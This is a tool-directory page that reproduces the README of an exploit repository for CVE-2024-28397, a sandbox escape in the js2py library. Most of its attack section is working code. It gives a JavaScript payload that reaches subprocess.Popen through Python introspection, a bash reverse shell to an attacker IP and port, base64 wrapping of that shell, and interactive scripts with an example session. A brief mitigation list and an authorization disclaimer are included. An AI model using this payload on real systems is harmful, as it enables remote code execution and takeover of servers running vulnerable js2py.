Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyยฉ 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE โ€” Exploit scripts for CVE-2024-28397, a js2py sandbox escape that executes arbitrary Python code to spawn a reverse shell on a target endpoint. | Kitploit
Tools/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access Tool
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

Exploit scripts for CVE-2024-28397, a js2py sandbox escape that executes arbitrary Python code to spawn a reverse shell on a target endpoint.

View Repository
581 year agoNot yet reviewed
Share

CVE-2024-28397 js2py Sandbox Escape Exploit

A collection of exploit scripts targeting the js2py sandbox escape vulnerability (CVE-2024-28397) that allows arbitrary code execution through Python object introspection.

๐Ÿ” Vulnerability Overview

The js2py library contains a critical sandbox escape vulnerability that allows attackers to execute arbitrary Python code by accessing internal Python objects through JavaScript's Object.getOwnPropertyNames() method.

Technical Details

  • CVE ID: CVE-2024-28397
  • Affected Library: js2py (JavaScript to Python translator)
  • Attack Vector: Sandbox escape via Python object introspection
  • Impact: Remote Code Execution (RCE)

๐Ÿ“‹ Reference Analysis

This exploit is based on the comprehensive analysis by Marven11:

  • Analysis Document: CVE-2024-28397 js2py Sandbox Escape Analysis

๐Ÿ› ๏ธ Exploit Scripts

This repository contains three different implementations:

1. Bash Script (exploit.sh)

Lightweight bash implementation using curl and jq.

2. Go Script (exploit.go)

Cross-platform Go implementation with built-in HTTP client.

๐Ÿš€ Quick Start

Prerequisites

  • For Bash script: curl, jq, base64
  • For Go script: Go 1.16+

Usage

All scripts are interactive and will prompt for required information:

# Bash version
chmod +x exploit.sh
./exploit.sh

# Go version
go run exploit.go

Interactive Prompts

Each script will ask for:

  1. Target URL: The endpoint running vulnerable js2py code
  2. Your IP: Your machine's IP address for reverse shell
  3. Your Port: Port number for reverse shell connection

Example Session

$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

๐ŸŽฏ How It Works

1. Payload Generation

The exploit dynamically creates a reverse shell command:

sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Base64 Encoding

The shell command is base64-encoded for safe transmission:

base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. JavaScript Sandbox Escape

The core exploit uses JavaScript to access Python's internal objects:

let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. Execution Flow

  1. Access Python's object system through Object.getOwnPropertyNames({})
  2. Navigate to base classes via __class__.__base__.__getattribute__
  3. Search subclasses for subprocess.Popen
  4. Execute arbitrary system commands through Popen

๐Ÿ›ก๏ธ Mitigation

  • Update js2py to a patched version
  • Implement proper input validation and sanitization
  • Use secure sandboxing alternatives
  • Apply defense-in-depth security measures

๐Ÿ“š Educational Purpose

These scripts are provided for educational and authorized testing purposes only. Always ensure you have proper authorization before testing against any systems.

๐Ÿ”— References

  • CVE-2024-28397 Official Entry
  • Marven11's Detailed Analysis
  • js2py GitHub Repository

โš–๏ธ Disclaimer

This software is provided for educational and authorized security testing purposes only. Users are responsible for complying with applicable laws and obtaining proper authorization before use.

Download Tool

Most Popular

View all โ†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    ๐ŸŽฏ The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityโ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools โ†’